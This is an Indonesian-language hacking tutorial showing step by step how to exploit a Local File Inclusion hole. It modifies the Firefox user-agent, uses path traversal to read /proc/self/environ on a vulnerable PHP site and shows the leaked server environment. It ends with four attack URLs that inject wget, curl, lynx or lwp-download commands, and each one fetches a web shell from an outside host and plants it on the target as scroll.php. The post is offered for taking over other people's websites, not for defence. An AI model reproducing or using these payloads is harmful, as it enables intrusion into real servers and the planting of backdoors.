Tested & Succes

Inject Local File Inclusion…!!!!

pengertian Local file inclusion adalah sebuah celah atau lubang pada site yang di mana para attacker bisa mengakses semua file atau mengambil alih site di dalam server dengan hanya melalui URL.

Oke Langsung aja Langkah-Langkahnya, ikuti pelan2 cara di bawah ini:


Buka browser anda, saya sendiri memakai mozilla firefox Ketikan di addrees bar di atas seperti ini “about:” (tanpa tanda kutip) klo sudah liat kata “Build identifier:blabla” itu masih bawaan asli dari firefox kamu..sekarang kita ubah Build identifier itu caranya seperti ini ketik “about:config” lalu enter dan enter sampai muncul config-config firefox kamu…nah sekarang kita buat string baru di sana klik kanan di mana saja, lalu pilih New-String klo sudah muncul kotak new string value isi dengan

general.useragent.override

lalu klik OK dan isi enter new valuenya dengan

“”

klo sudah klik OK saja..SELESE sekarang cek Build identifier sudah berubah ato belum dengan cara ketik lagi “about:” klo berubah seperti ini
“Build identifier: ” nah firefox anda sudah siap untuk di pakai inject LFI

di sini saya tidak membicarakan bot scan LFI klo mau scan LFI langsung aja masuk ke irc.stmikbg.com..oke sekarang perhatikan hasil scan lfi ini…ex:
http://www.BlaBla.com//index.php?action=../../../../../../../../../../../../../../../proc/self/environ
nah sekarang buka site diatas dengan browser yang sudah kamu modif tadi tinggal copy di addrees lalu enter yang nantinya akan muncul seperti ini:

DOCUMENT_ROOT=/home/blabla/public_html/games?GATEWAY_INTERFACE=CGI/1.1?HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8?HTTP_ACCEPT_CHARSET=ISO-8859-1,utf-8;q=0.7,*;q=0.7?HTTP_ACCEPT_ENCODING=gzip,deflate?HTTP_ACCEPT_LANGUAGE=en-us,en;q=0.5?HTTP_CONNECTION=keep-alive?HTTP_COOKIE=UserInteraction7=KonaBase?HTTP_HOST=blabla.com?HTTP_KEEP_ALIVE=300?HTTP_USER_AGENT=
Notice: Undefined index: cmd in /proc/20085/environ on line 1
Warning: system() [function.system]: Cannot execute a blank command in /proc/20085/environ on line 1
PATH=/bin:/usr/bin?QUERY_STRING=action=../../../../../../../../../../../../../../../proc/self/environ?REDIRECT_STATUS=200?REMOTE_ADDR=222.124.156.231?REMOTE_PORT=3420?REQUEST_METHOD=GET?REQUEST_URI=//index.php?action=../../../../../../../../../../../../../../../proc/self/environ?SCRIPT_FILENAME=/home/blabla/public_html/zzz/index.php?SCRIPT_NAME=/index.php?SERVER_ADDR=174.132.115.6?SERVER_ADMIN=webmaster@blabla.com?SERVER_NAME=blabla.com?SERVER_PORT=80?SERVER_PROTOCOL=HTTP/1.1?SERVER_SIGNATURE=
Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8n DAV/2 mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at blabla.com Port 80
SERVER_SOFTWARE=Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8n DAV/2 mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635?UNIQUE_ID=S@eCPK6EcwIAAAiIu9gAAAOD?

nah sekarang tinggal kita inject aja tuhh web dengan cara seperti ini liat dulu ini :

http://www.BlaBla.com//index.php?action=../../../../../../../../../../../../../../../proc/self/environ

<==setelah kamu enter
environ akan berubah menjadi seperti ini
environ?
kalo mau inject ato setiap perubahan data yang mau di inject kembaliin seperti semula lagi seperti ini environ
klo gak begitu data yang mau di wget ke dalam site tersebut tidak berjalan jadi harus kita ubah setiap kita enter..
MENGERTI kan…klo gak percaya test aja sendiri nah sekarang tinggal kita tambahkan wget di belakangnya seperti ini :

ada banyak cara kalo mau inject lfi coba aja satu-satu :

http://www.croot.croot.croot.com//index.php?action=../../../../../../../../../../../../../../../proc/self/environ&cmd=wget http://citbun.com/tools/bd/fxshell.txt -O scroll.php

http://www.croot.croot.croot.com//index.php?action=../../../../../../../../../../../../../../../proc/self/environ&cmd=curl http://citbun.com/tools/bd/fxshell.txt -o scroll.php

http://www.croot.croot.croot.com//index.php?action=../../../../../../../../../../../../../../../proc/self/environ&cmd=lynx http://citbun.com/tools/bd/fxshell.txt -o scroll.php

http://www.croot.croot.croot.com//index.php?action=../../../../../../../../../../../../../../../proc/self/environ&cmd=lwp-download http://citbun.com/tools/bd/fxshell.txt -o scroll.php